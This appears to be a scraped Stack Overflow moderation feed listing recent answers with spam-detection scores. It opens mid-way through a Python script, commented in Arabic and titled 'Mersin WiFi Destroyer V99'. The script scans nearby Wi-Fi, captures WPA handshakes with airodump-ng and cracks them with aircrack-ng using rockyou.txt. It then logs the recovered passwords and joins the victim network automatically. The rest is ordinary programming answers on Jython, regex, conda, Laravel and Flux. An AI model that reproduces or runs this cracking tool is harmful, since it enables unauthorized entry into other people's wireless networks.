    self.interface = "wlan0" if os.name != "nt" else "Wi-Fi"

    self.networks = \[\]

    self.found = False

    self.queue = queue.Queue()

    self.wordlist = "/usr/share/wordlists/rockyou.txt"  # كالي

    if not os.path.exists(self.wordlist):

        self.wordlist = "rockyou.txt"  # تيرمكس أو ويندوز

def banner(self):

    print(f"{C}╔{'═'\*70}╗")

    print(f"{C}║{W}    مرسين 09:46 PM – الشبح الرقمي V99 مفعّل – لا قيود لا رحمة    {C}║")

    print(f"{C}╚{'═'\*70}╝\\n")

def scan_networks(self):

    print(f"{Y}\[+\] جاري مسح الشبكات في مرسين...")

    try:

        if os.name == "nt":  # ويندوز

            result = subprocess.check_output("netsh wlan show networks mode=bssid", shell=True, text=True, encoding="utf-8", errors="ignore")

            networks = re.findall(r"SSID\\s+\\d+\\s+:\\s+(.+?)\\n.\*?BSSID\\s+\\d+\\s+:\\s+(\[0-9A-F:\]{17})", result, re.DOTALL)

        else:  # لينكس / تيرمكس

            subprocess.run("sudo iwlist wlan0 scan \> /dev/null 2\>&1", shell=True)

            result = subprocess.check_output("sudo iwlist wlan0 scan", shell=True, text=True)

            networks = re.findall(r"ESSID:\\"(.\*?)\\".\*?Address: (\[0-9A-F:\]{17})", result)

        

        self.networks = \[{"ssid": ssid, "bssid": bssid} for ssid, bssid in networks if ssid.strip()\]

        print(f"{G}\[+\] تم اكتشاف {len(self.networks)} شبكة حولك في مرسين:")

        for i, net in enumerate(self.networks):

            print(f"{C}    \[{i+1}\] {W}{net\['ssid'\]} {Y}({net\['bssid'\]})")

    except Exception as e:

        print(f"{R}\[-\] فشل المسح: {e}")

def handshake_capture(self, bssid, channel):

    print(f"{Y}\[+\] التقاط الهاندشيك لـ {bssid}...")

    os.system(f"sudo timeout 30 airodump-ng -c {channel} --bssid {bssid} -w mersin_handshake wlan0mon")

def crack_wpa(self, ssid, bssid):

    print(f"{R}\[!\] بدء كسر {ssid} بقوة الجحيم...")

    cmd = f"aircrack-ng -w {self.wordlist} -b {bssid} mersin_handshake\*.cap"

    result = subprocess.run(cmd, shell=True, text=True, capture_output=True)

    

    if "KEY FOUND" in result.stdout:

        password = re.search(r"\\\[ (.\*?) \\\]", result.stdout).group(1)

        print(f"\\n{G}╔{'═'\*70}╗")

        print(f"{G}║                تم كسر الشبكة يا أسد مرسين!                 ║")

        print(f"{G}║  الشبكة: {W}{ssid:\<30}{G} ║")

        print(f"{G}║  كلمة المرور: {W}{password:\<25}{G} ║")

        print(f"{G}╚{'═'\*70}╝\\n")

        

        with open("MERSIN_CRACKED.txt", "a", encoding="utf-8") as f:

            f.write(f"{ssid}:{password}\\n")

        

        \# اتصال تلقائي

        os.system(f'nmcli dev wifi connect "{ssid}" password "{password}"')

        self.found = True

        return password

    return None

def auto_attack(self):

    self.scan_networks()

    if not self.networks:

        return

    

    target = int(input(f"\\n{Y}\[?\] اختر رقم الشبكة للإبادة: {W}")) - 1

    ssid = self.networks\[target\]\['ssid'\]

    bssid = self.networks\[target\]\['bssid'\]

    

    print(f"{R}\[!\] الهدف: {ssid} – مرسين هتنهيها دلوقتي...")

    

    \# تفعيل وضع المونيتور

    os.system("sudo airmon-ng start wlan0")

    

    \# جلب القناة

    os.system(f"sudo airodump-ng wlan0mon -d {bssid} -c 1-13 \> channel.txt & sleep 10; kill $!")

    time.sleep(12)

    try:

        with open("channel.txt") as f:

            channel = re.search(r"CH\\s+(\\d+)", f.read()).group(1)

    except:

        channel = "6"

    

    \# التقاط الهاندشيك

    capture_thread = threading.Thread(target=self.handshake_capture, args=(bssid, channel))

    capture_thread.start()

    time.sleep(35)

    capture_thread.join()

    

    \# كسر

    self.crack_wpa(ssid, bssid)

    

    \# إيقاف المونيتور

    os.system("sudo airmon-ng stop wlan0mon")

    

    if self.found:

        print(f"{G}\[+\] السوري كسر الشبكة ودخلها من مرسين! 🔥")

    else:

        print(f"{R}\[!\] ما انكسرتش... بس بنرجع بـ 100 أداة أقوى!")

# تشغيل الجحيم

if _name_ == "_main_":

os.system("clear" if os.name != "nt" else "cls")

os.system("title مرسين WiFi Destroyer V99 - السوري")



if os.geteuid() != 0 and os.name != "nt":

    print(f"{R}\[-\] شغّل الأداة بـ sudo يا زلمة!")

    sys.exit()



destroyer = MersinDestroyer()

destroyer.banner()

destroyer.auto_attack()



input(f"\\n{Y}\[\*\] خلصنا... اضغط Enter وروح اشرب شاي يا ملك مرسين 🔥")
Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • No latin characters (1):
  • Low reputation (1):
Posted by: عمال تكبم

79811681

Date: 2025-11-06 19:14:47
Score: 2
Natty:
Report link

There isn't an agnostic answer to this question since it totally depends on your browser (default browser). This mainly happens because some browsers do detect if a webpage with the same TLD name exists in your current session and reload the new URL in the same tab. I would love to see if you could programmatically enforce such a behavior

Reasons:
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Megh Dedhia

79811675

Date: 2025-11-06 19:04:45
Score: 3.5
Natty:
Report link

Just accept the new terms and agreements on your app store connect or developer account and it will work just fine.

https://developer.apple.com/

Same problem Here: https://github.com/expo/eas-cli/issues/880

Reasons:
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Edwin Bustamante Rodriguez

79811673

Date: 2025-11-06 19:02:44
Score: 1.5
Natty:
Report link

Is your question "why is it like this", or is your question "How can I achieve X"? Your title says one thing (for which the "advice" category you chose is the correct one) but the body of the post then asks something different. Perhaps you actually need two different posts - a new one to solve your specific problem, and this one to have a discussion about the design of the feature in Laravel?

Reasons:
  • Blacklisted phrase (0.5): How can I
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • High reputation (-2):
Posted by: ADyson

79811671

Date: 2025-11-06 19:01:44
Score: 0.5
Natty:
Report link

email type inputs don't really need an explicit pattern as they are validated by most modern browsers. However, the rules might not be to your liking. For example: the at least 2 characters after the trailing dot {2,} is not a requirement on Firefox at least. In such cases you might use the pattern attr.

Your pattern is slightly wrong in that you have not escaped the literal -. This leads the pattern analyzer astray. I have added the necessary escapes in my snippet and it seems to work as expected.

Cheers

input {
  display: block;
  margin-bottom: 0.5rem;
}

input:invalid {
  background-color: ivory;
  border: transparent;
  outline: 2px solid red;
}
<form>
  <input type="email" required placeholder="no pattern email" />
  <input type="email" required pattern="[a-z0-9._%+\-]+@[a-z0-9.\-]+\.[a-z]{2,}$" placeholder="pattern email" />
  <input type="password" required minlength="8" placeholder="password"/>
  <button type="submit">Register</button>
</form>

Reasons:
  • Blacklisted phrase (1): Cheers
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Frox

79811669

Date: 2025-11-06 18:58:43
Score: 3.5
Natty:
Report link

This was a simple fix. the s3 file needed to be tar.gz as required by sagemaker

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Clint C.

79811666

Date: 2025-11-06 18:57:43
Score: 1
Natty:
Report link

When a Kustomization or HelmRelease is being reconciled in a namespace other than the namespace where flux is installed, the reconciliation will run under the gotk:<NAMESPACE>:reconciler user. If the user doesn't exists or if the objects being reconciled don't belong to that namespace, the reconcilers will not be able to apply the tenant's sources on the cluster.

https://github.com/fluxcd/flux2/discussions/263

Reasons:
  • Has code block (-0.5):
  • Starts with a question (0.5): When
  • Low reputation (1):
Posted by: michael

79811660

Date: 2025-11-06 18:45:40
Score: 0.5
Natty:
Report link

# Source - How to do a math equation using y = x^2 with range to print multiple outputs

# Posted by Netwave

# Retrieved 2025-11-06, License - CC BY-SA 3.0

\>>> import itertools

\>>> list(itertools.imap(lambda x, y: (x ** 2)/y, xrange(1, 1001), xrange(1, 1001)))

[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999,

1000]

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Dlurd famous Davis

79811650

Date: 2025-11-06 18:35:38
Score: 2.5
Natty:
Report link

Are you a managed account ? Do you have dedicated AE (Account Exec) or Sales Specialist ? Just send them the Support ID and let them know that you want to escalate this issue as it's impacting you business at it already took ~6 months

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: catJam

79811649

Date: 2025-11-06 18:33:37
Score: 3.5
Natty:
Report link

I had this issue but all of the previous solutions in this question did not work. I found that on Windows 11 doing a custom Python install the PYTHONPATH env variable had not been set. Creating and setting up the PYTHONPATH variable, and then restarting terminals fixed the same issue for me.

Reasons:
  • Blacklisted phrase (1): did not work
  • Low length (0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Stephen Armstrong

79811648

Date: 2025-11-06 18:33:37
Score: 0.5
Natty:
Report link

For anybody in 2025:

conda deactivate

This will deactivate (base) environment.

As of Anaconda Distribution 2025.06, an uninstaller.sh script is available to help you remove Anaconda Distribution from your system.

https://www.anaconda.com/docs/getting-started/anaconda/uninstall#macos-or-linux

~/anaconda3/uninstall.sh

This will remove all packages and miniconda itself.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: catJam

79811636

Date: 2025-11-06 18:23:35
Score: 3
Natty:
Report link

methods :

messages.HideAllChatJoinRequestsRequest

or

messages.HideChatJoinRequestRequest

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: taha arab

79811629

Date: 2025-11-06 18:13:27
Score: 7.5 🚩
Natty:
Report link

Does anyone have any updates on this? I'm encountering the exact same problem, but I haven't found a solution on oracle. I'd like a query that returns the first unlocked row.

Reasons:
  • Blacklisted phrase (1): any updates on
  • RegEx Blacklisted phrase (3): Does anyone have any updates
  • RegEx Blacklisted phrase (1): haven't found a solution
  • Low length (1):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Single line (0.5):
Posted by: senerh

79811628

Date: 2025-11-06 18:13:27
Score: 0.5
Natty:
Report link

This UI doesn't allow to write an answer due to unknown reason...

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • High reputation (-2):
Posted by: Mark Barinstein

79811627

Date: 2025-11-06 18:12:27
Score: 1.5
Natty:
Report link
// Source - https://stackoverflow.com/questions/71771950/android-10-vivo-funtouch-os-killed-my-foreground-service-on-swipe
// Posted by Ahsan Ali
// Retrieved 2025-11-06, License - CC BY-SA 4.0

    <uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
   
    <service android:name=".service.MyService"

        />
Reasons:
  • Blacklisted phrase (1): stackoverflow
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Boby dhuldhaj

79811626

Date: 2025-11-06 18:11:27
Score: 0.5
Natty:
Report link

I found one github-action-repo-settings-sync actions that allow it:

name: Repo Setup

on:
  push:
    branches:
      - master
  schedule:
    - cron: 0 0 * * *

jobs:
  repo_setup:
    runs-on: ubuntu-latest
    steps:
      - name: Repo Setup
        uses: kbrashears5/[email protected]
        with:
          REPOSITORIES: |
            kbrashears5/github-action-repo-settings-sync
          ALLOW_ISSUES: 'true'
          ALLOW_PROJECTS: 'true'
          ALLOW_WIKI: 'true'
          SQUASH_MERGE: 'true'
          MERGE_COMMIT: 'true'
          REBASE_MERGE: 'true'
          AUTO_MERGE: 'false'
          DELETE_HEAD: 'false'
          BRANCH_PROTECTION_ENABLED: 'true'
          BRANCH_PROTECTION_NAME: 'main'
          BRANCH_PROTECTION_REQUIRED_REVIEWERS: '1'
          BRANCH_PROTECTION_DISMISS: 'true'
          BRANCH_PROTECTION_CODE_OWNERS: 'true'
          BRANCH_PROTECTION_ENFORCE_ADMINS: 'false'
          TOKEN: ${{ secrets.ACTIONS }}
Reasons:
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Gabriel Braico Dornas

79811619

Date: 2025-11-06 18:03:24
Score: 4.5
Natty: 5
Report link

Best single or multy select dropdown

https://pub.dev/packages/ms_single_multi_select

Reasons:
  • Probably link only (1):
  • Low length (2):
  • No code block (0.5):
  • Low reputation (1):
Posted by: MD SHANAWAZ RAHMAN

79811613

Date: 2025-11-06 17:54:22
Score: 1.5
Natty:
Report link

Couldn't find a native way, but this works.

Add your negative lookahead and then add a newline (SHIFT + ENTER)

This shows me all .html files which do not have the string style.css"

enter image description here

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Everything Digital

79811611

Date: 2025-11-06 17:51:21
Score: 0.5
Natty:
Report link

You jsut need to make the output of the tally method wide:


df_summary_wide <- df %>% group_by(sex, car_owned) %>% tally() %>%
  pivot_wider(names_from = car_owned, values_from = n)
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: BEVAN

79811596

Date: 2025-11-06 17:33:17
Score: 2.5
Natty:
Report link

Thanks for the answers.

Unfortunately, I already know all that. I also get the centroids with nettopology. I'm looking for the center of mass. But in my opinion, both polygons are convex. Therefore, I don't understand why one is inside and the other outside...

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • Low length (0.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Sebastian

79811591

Date: 2025-11-06 17:29:16
Score: 3.5
Natty:
Report link

To easily change the date or time of any commit, you can use this open source tool: https://github.com/arbaev/commit-date-changer

Reasons:
  • Whitelisted phrase (-1.5): you can use
  • Probably link only (1):
  • Contains signature (1):
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Tim

79811575

Date: 2025-11-06 17:15:12
Score: 1.5
Natty:
Report link
from pyspark.sql.functions import date_format

df = df.withColumn("year_month",date_format(df['Ddate'],"yyyyMM"))

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: jltz8383

79811560

Date: 2025-11-06 17:01:08
Score: 6 🚩
Natty: 5
Report link

I have the same problem. Been trying to connect with tekla on my application made in .net 4.8, x64 it used to work but I installed the nugget packages and since then I had problems. I have been trying to remove every nugget package and connect to the dll's who are in the tekla structures/<versions>/bin/ folder. But it doesn't help.

Reasons:
  • Blacklisted phrase (1): I have the same problem
  • No code block (0.5):
  • Me too answer (2.5): I have the same problem
  • Unregistered user (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Jordy

79811554

Date: 2025-11-06 16:55:06
Score: 2.5
Natty:
Report link

The things the comment above your old boot function say go in there (model bindings, pattern filters) seem to go into the boot function in the App\Providers\AppServiceProvider class in Laravel 12 (see https://laravel.com/docs/12.x/routing#parameters-global-constraints and https://laravel.com/docs/12.x/routing#explicit-binding ). Maybe you can access the .env values from there?

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • High reputation (-1):
Posted by: Marleen

79811530

Date: 2025-11-06 16:27:59
Score: 2.5
Natty:
Report link

Think you find that when you run from Xcode it using the schema of the "extension" change to the app name schema and the error goes

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Nigel Gee

79811525

Date: 2025-11-06 16:24:58
Score: 1
Natty:
Report link

In my case, I could not downgrade to a 3.x version of integration services because my existing solutions did not support it. The key is to install the "BI Developer Extensions" (formerly BIDS Helper)". After installing it I was then able to see the biml commands in right click menus (such as "add new biml file", "expand biml file").

Confirmed this works with:

Visual Studio 2019 pro - 16.11.50

SQL Server Integration Services Projects - 4.6

BimlExpress - 2019 R1

Reasons:
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: wonderstruck80

79811523

Date: 2025-11-06 16:18:57
Score: 1
Natty:
Report link

The warning isn’t from ESLint — it’s from TypeScript’s type hints in Eclipse.
Add // @ts-ignore above the document.execCommand("copy"); line to silence it.
That’ll remove the deprecation warning without disabling validation globally.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Tuhin Shaikh

79811522

Date: 2025-11-06 16:18:56
Score: 4.5
Natty: 5
Report link

Package "pracma" contains an implementation: https://search.r-project.org/CRAN/refmans/pracma/html/invlap.html

Reasons:
  • Probably link only (1):
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: JFV

79811518

Date: 2025-11-06 16:15:55
Score: 2.5
Natty:
Report link

I'm not familiar with the exact syntax of how the protocol of mcp works but after a quick google, it looks to just be just simple post requests to the server. You should be able to just use the requests package in place of the mcp package to do make a wraper.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: ocueye guy

79811513

Date: 2025-11-06 16:13:55
Score: 1.5
Natty:
Report link

The post doesn't include enough details, and it's unclear why it constains the google-apps-script tag.

What do you mean by "receives data input externally"?
Is the data input appended as new rows?
What triggers the HTTP request? Is there any chance that a request occurs at the same time as the spreadsheet receiving data input?

Reasons:
  • Blacklisted phrase (1): Is there any
  • No code block (0.5):
  • Ends in question mark (2):
  • High reputation (-2):
Posted by: Wicket

79811509

Date: 2025-11-06 16:09:54
Score: 2.5
Natty:
Report link

FPDI does not support.
I use ghostscript in linux and use shell_exec to execute and merge pdfs:
<?php
$command = "gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=combined.pdf -dBATCH file1.pdf file2.pdf";
shell_exec($command);
?>

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: Leandro Campos

79811502

Date: 2025-11-06 16:01:51
Score: 4
Natty:
Report link

I found the sandbox account, But it's disable why?

Reasons:
  • Blacklisted phrase (0.5): why?
  • Low length (1.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • High reputation (-1):
Posted by: Rasel Khan

79811501

Date: 2025-11-06 16:01:51
Score: 3.5
Natty:
Report link

Wow. My issue was almost the opposite. By default it used h264.. switched to h265 and worked, so thank you, friend! :)

Reasons:
  • Blacklisted phrase (0.5): thank you
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Arvis Ceirulis

79811498

Date: 2025-11-06 16:00:51
Score: 1
Natty:
Report link

This is quite old question, but adding my observation if anyone still checking for the details on graceful shutdown in spring boot.

In spring boot version 3.4+ , graceful shutdown is enabled by default for all four embedded web servers(i.e: Jetty, Reactor Netty, Tomcat, and Undertow). You can refer this spring boot doc for further details https://docs.spring.io/spring-boot/3.4/reference/web/graceful-shutdown.html

Reasons:
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: ritsapp

79811491

Date: 2025-11-06 15:53:49
Score: 3
Natty:
Report link

We have the same problem on all our environments. It Happened when the viewer try to fetch the Manifest.

Autodesk server response is:

diagnostic  "Not Found"

It works on new translations, not on oldest (more than 2 days).

We also need help.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Me too answer (2.5): have the same problem
  • Low reputation (0.5):
Posted by: MatLa

79811484

Date: 2025-11-06 15:46:47
Score: 1.5
Natty:
Report link

Issue source has been identified as isGlobalISelAbortEnabled being set to disabled for some reason, even though it is initially and by default true. This leads to a fallback SelDAG setup attempt, which is where I (rightfully) crash. Manually enabling this when PassConfig is created resolves this. Still unclear as to why, but it works.

Reasons:
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Aidan Goldfarb

79811482

Date: 2025-11-06 15:45:47
Score: 2
Natty:
Report link

To enable the restore action for service principals within your custom role, add the Microsoft.Directory/servicePrincipals/restore action to the allowedResourceActions list.

You can try adding this at the end of your list... "microsoft.directory/servicePrincipals/restore"

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Shoeb Hasan

79811478

Date: 2025-11-06 15:41:46
Score: 2.5
Natty:
Report link

In my case, it was caused by activating the wrong virtual environment from another folder. Activating the one I was working with solved the error.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: emirhan demir

79811473

Date: 2025-11-06 15:34:44
Score: 3
Natty:
Report link

Oh hahaha, thanks @Drew Reese!

Reasons:
  • Blacklisted phrase (0.5): thanks
  • Low length (2):
  • No code block (0.5):
  • User mentioned (1): @Drew
  • Self-answer (0.5):
  • Single line (0.5):
  • High reputation (-2):
Posted by: Noitidart

79811471

Date: 2025-11-06 15:34:43
Score: 6.5 🚩
Natty: 4.5
Report link

Have you fixed it? Now I'm having the same :((

Reasons:
  • Blacklisted phrase (1): :(
  • RegEx Blacklisted phrase (1.5): fixed it?
  • Low length (1.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: user23564034

79811462

Date: 2025-11-06 15:25:41
Score: 3
Natty:
Report link

You can also use a public Box URL as the img src. I haven't tried Google Drive or OneDrive but those might work as well.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: abe

79811460

Date: 2025-11-06 15:22:40
Score: 3
Natty:
Report link

你好,我也遇到了这个问题,希望可以帮助到你。
首先选择kernel,在选择现有服务器,填写jupyter notebook的url即可。
具体可参考如下链接:https://vscode.github.net.cn/docs/datascience/jupyter-notebooks#_connect-to-a-remote-jupyter-server

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Has no white space (0.5):
  • Low reputation (1):
Posted by: Elevaene

79811459

Date: 2025-11-06 15:20:39
Score: 1
Natty:
Report link

Underneath your code snippet demonstrating PythonInterpreter('some string...') you say

This seems to "compile" the script.

No, this executes the script. Which is why you haven't been able to reuse the instance.


Per the docs: PythonInterpreter.compile('some string...')

Compiles a string of Python source as either an expression (if possible) or a module.

Your question has two parts. Focusing on the easier question, without getting too into the specifics of your setup:

The script contains a function that I then call many times [...] Is there a way to save some kind of object (PyCode?) so when another "host" comes along I do not have to call exec(script) again?


Yes. Based on the Jython docs, you should be first compiling the string into your PyCode object via: PyCode my_func= new PythonInterpreter.compile('some string expression or module') that you can then pass around to local threads. Which brings us to the second and slightly more difficult question

This entire process may be repeated for other hosts. Multiple hosts may need to execute the script concurrently. [...] Due to concurrency, I cannot simply hold on to the PythonInterpreter instance and reuse it. I would like to create a new instance of PythonInterpeter and give it some object rather than having it parse the script again.

You will need to manage local threads for each host via threadLocalStateInterpreter -- then simply replace your python.set('env_var',env_var) with a thread-safe python.setLocals()`. Something like

import org.python.core.*;
import org.python.util.PythonInterpreter;
import java.util.concurrent.*;

public class JythonRemoteExecutor {
    
    // shared thread-safe, compiled Python function
    private static PyCode compiledFunction;
    
    // thread-local interpreter for each connecting host
    private static ThreadLocal<PythonInterpreter> threadLocalStateInterpreter = 
        ThreadLocal.withInitial(() -> {
            PythonInterpreter interp = new PythonInterpreter();
            return interp;
        });

    // compile your Python function once at startup
    static {
        String pythonCode = "def your_function():...";
        PythonInterpreter compiler = new PythonInterpreter();
        compiledFunction = compiler.compile(pythonCode);
        compiler.close();
    }
    
    /* execute the shared function for a specific host */
    public static PyObject executeForHost(String hostId) {

        // this is where you begin to take advantage of that precompiled 
        // code from earlier
        PythonInterpreter interp = threadLocalStateInterpreter.get();
        // execute the compiled function in this interpreter's namespace,
        // this will allow you to use `your_function()` in this thread
        interp.exec(compiledFunction);
        
        // set local variables specific to this host using setLocals()
        interp.setLocals(new PyStringMap() {{
            __setitem__("host_id", new PyString(hostId));
            __setitem__("host", host);
            __setitem__("tableName", tableName);
            __setitem__("state", state);
            __setitem__("index", index);
            __setitem__("values", values);
        }});
        
        interp.exec("row(host, tableName, state, index, values)");
    }
    
    /**
     * example driver program simulating multiple hosts connecting and executing
     */
    public static void main(String[] args) throws InterruptedException {
        ExecutorService executor = Executors.newFixedThreadPool(3); // set as needed
        Callable<String> host1Task = () -> {
            PyObject result = executeForHost("Host-1");
